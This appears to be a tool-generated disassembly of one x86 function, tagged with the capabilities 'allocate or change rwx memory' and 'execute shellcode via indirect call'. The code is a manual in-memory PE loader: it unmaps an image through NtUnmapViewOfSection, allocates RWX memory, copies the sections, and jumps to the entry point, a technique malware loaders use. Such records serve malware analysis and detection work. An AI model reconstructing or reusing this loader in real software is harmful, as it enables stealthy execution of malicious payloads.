Function at 0x407f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push esi
push edi
push ecx
lea edi, [ebp - 0xac]
mov ecx, 0x2b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 0x90], edx
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call dword [ebp - 0x90]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x407fcd
xor eax, eax
jmp 0x40827e
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
mov dword [ebp - 0x94], eax
mov esi, esp
push 5
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 8]
call dword [ebp - 0x94]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x18], eax
movzx ecx, byte [ebp - 0x89]
push ecx
push str.ntdll.dll
lea ecx, [ebp - 0x30]
call fcn.00401fc0
mov ecx, eax
call fcn.004076c0
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x24], eax
movzx edx, byte [ebp - 0x8a]
push edx
push str.NtUnmapViewOfSection
lea ecx, [ebp - 0x48]
call fcn.004019a0
mov ecx, eax
call fcn.00407820
mov esi, esp
push eax
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x9c], edx
mov esi, esp
mov eax, dword [ebp - 0x9c]
push eax
push 0xffffffffffffffff
call dword [ebp - 0x98]
cmp esi, esp
call fcn.00408f20
movzx ecx, byte [ebp - 0x8b]
push ecx
push str.NtAllocateVirtualMemory
lea ecx, [ebp - 0x68]
call fcn.004016b0
mov ecx, eax
call fcn.004078d0
mov esi, esp
push eax
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0xa0], edx
mov esi, esp
push 0x40
push 0x3000
lea eax, [ebp - 0x70]
push eax
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.00408f20
push eax
call dword [ebp - 0xa0]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x10], 0
jne 0x408113
cmp dword [ebp - 0x20], 0
jne 0x408113
xor eax, eax
jmp 0x40827e
cmp dword [ebp - 0x10], 0
jne 0x408168
cmp dword [ebp - 0x20], 0
je 0x408168
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0xa4], edx
mov esi, esp
push 0x40
push 0x3000
lea eax, [ebp - 0x70]
push eax
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.00408f20
push eax
call dword [ebp - 0xa4]
cmp esi, esp
call fcn.00408f20
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x10], 0
jne 0x408168
xor eax, eax
jmp 0x40827e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 8]
call fcn.00407c20
mov edx, dword [ebp - 0x1c]
add edx, 0xf8
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x84], 0
jmp 0x4081af
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x84], edx
jge 0x4081fb
imul eax, dword [ebp - 0x84], 0x28
mov ecx, dword [ebp - 0x80]
mov edx, dword [ecx + eax + 0x10]
push edx
imul eax, dword [ebp - 0x84], 0x28
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x14]
push edx
imul eax, dword [ebp - 0x84], 0x28
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x10]
add edx, dword [ecx + eax + 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.00407c20
jmp 0x4081a0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
mov dword [ebp - 0xa8], edx
mov esi, esp
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
call dword [ebp - 0xa8]
cmp esi, esp
call fcn.00408f20
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x18]
je 0x408260
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xac], ecx
mov esi, esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x10]
xor edx, edx
push edx
push ecx
mov ecx, dword [ebp - 8]
call dword [ebp - 0xac]
cmp esi, esp
call fcn.00408f20
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x88], edx
mov esi, esp
call dword [ebp - 0x88]
cmp esi, esp
call fcn.00408f20
push edx
mov ecx, ebp
push eax
lea edx, [0x4082b0]
call fcn.00408ecc
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408f43
add esp, 0xac
cmp ebp, esp
call fcn.00408f20
mov esp, ebp
pop ebp
ret 4